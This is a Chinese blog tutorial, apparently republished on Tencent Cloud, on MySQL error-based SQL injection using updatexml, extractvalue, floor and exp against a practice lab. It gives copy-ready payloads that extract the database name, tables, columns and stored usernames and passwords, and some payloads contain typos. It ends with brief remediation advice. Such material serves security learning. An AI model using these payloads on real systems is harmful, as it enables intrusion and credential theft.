专栏首页黑白天SQL报错注入常用函数

SQL报错注入常用函数

注:本文仅供学习参考

SQL报错注入定义 SQL报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试(insert/update/delete)。

报错注入条件: 后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端。

常用四个报错函数 updatexml():是mysql对xml文档数据进行查询和修改的xpath函数 extractvalue():是mysql对xml文档数据进行查询的xpath函数 floor():mysql中用来取整的函数 exp():此函数返回e(自然对数的底)指数X的幂值

updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value) 第一个参数是字符串 第二个参数是指定字符串中的一个位置(Xpath格式的字符串) 第三个参数是将要替换成什么 Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

下面进入靶场尝试 注册就是往数据库里面加数据,insert。

在用户处输入单引号 报错

我们可以猜测他后端的语句是

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

我们可以在xxx出爆我们想要的数据

' or updatexml(0,concat(0x7e,select database()),1)'

需要单引号闭合前面和后面,使我们的语句逃逸出来

可以看到成功爆出数据库。我们来分析一下为什么会成功 当我们输入payload

' or updatexml(0,concat(0x7e,select database()),1)or'

他后端就被我们拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

这样就会使我们的语句执行成功(后面爆数据就不一一展示了就在database()那里换就行)

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串 extractvalue (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc 第二个参数:XPath_string(Xpath格式的字符串) Xpath定位必须是有效的,否则则会发生错误 用法其实跟updatexml一样 构建payload

' or extracrvalue(0,concat(0x7e,database())) or '

但要注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了 所以使用其他函数

floor() floor是mysql的一个取整函数

 payload:Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**;
 爆库' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
 爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
 爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
 爆内容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

成功

exp函数 当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

' or EXP(~(SELECT * from(select version())a)) or '
爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '
mysql报错注入修复方法:
1. 屏蔽能造成报错注入的各种函数,函数
2. 对输入长度做限制,对用户输入做预处理
3. 对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面。
4.使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险语句。

最常用的大概是这几种,据了解好像有12中报错函数,其实目的都是使数据库报错从而得到我们想要的信息,只是语法不相同而已。继续加油!

本文分享自微信公众号 - 黑白天(li0981jing),作者:wulaoban

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 密码重置姿势总结​

    (自己的号)130229364xx 密码:123456@qq.com id:m6454245

    cn0sec
  • sql注入分类

    是一种结构化的查询语言,用于与数据库进行交互并能够被数据库解析。SQL注入攻击是一种常见的注入攻击类型。攻击方式在用户与程序进行交互时发生的。如在表单输入、搜索...

    cn0sec
  • windows下打造漂亮的msf

    首先需要在windows下安装kali子系统。打开windows设置,选择更新和安全 ====> 开发者选项,选择开发人员模式。

    cn0sec
  • SQL Server基础SQL脚本之内外连接、交叉连接;函数、子查询

    代码大概200行左右 本系列,几乎都是代码,记得当时写的时候用的是微软的官方实例数据库AdventureWorks_Data.mdf、AdventureWor...

    赵腰静
  • Go语言 | Go 1.9 新特性 Type Alias详解

    北京时间2017.08.25,Go1.9正式版发布了。Go1.9经历了2个beta,好几个月,终于定了,发布了正式版本。Go 1.9包含了很多改变,比如类型别名...

    飞雪无情
  • 【直播预约】TRTC SDK开发应用大赛决赛火热来袭!

    ? 腾讯云 Tencent Cloud 为期一个月的作品开发 相信各位参赛选手都准备就绪了 各位大神齐聚一堂 究竟哪一位参赛选手会 脱颖而出揽获大奖? 下周日...

    腾讯即时通信IM
  • MySQL回收站设计

    今天完善了一小部分的周期表的内容,所谓周期表就是我们业务中经常看到的日表,比如表名为test_data,则日表的表名为test_data_20190822,te...

    jeanron100
  • 干货 | Elasticsearch5.X Mapping万能模板

    0、引言 在关系型数据库如Mysql中,设计库表需要注意的是: 1)需要几个表; 2)每个表有哪些字段; 3)表的主键及外键的设定——便于有效关联。 表的设计遵...

    铭毅天下
  • 在.NET Core之前,实现.Net跨平台之Mono+CentOS+Jexus初体验

    准备工作 本篇文章采用Mono+CentOS+Jexus的方式实现部署.Net的Web应用程序(实战,上线项目). 不懂Mono的请移步张善友大神的:国内 Mo...

    GuZhenYin
  • 详解百度echarts如何自定义地图板块,实现鼠标交互效果

    声明:理工科的同志,语言组织能力差,轻喷 先吐槽一下,自从大数据流行起来过后,做开发的很多朋友都遇到了一个调侃的问题:为什么你们都那么喜欢研究地球。我只能说,没...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券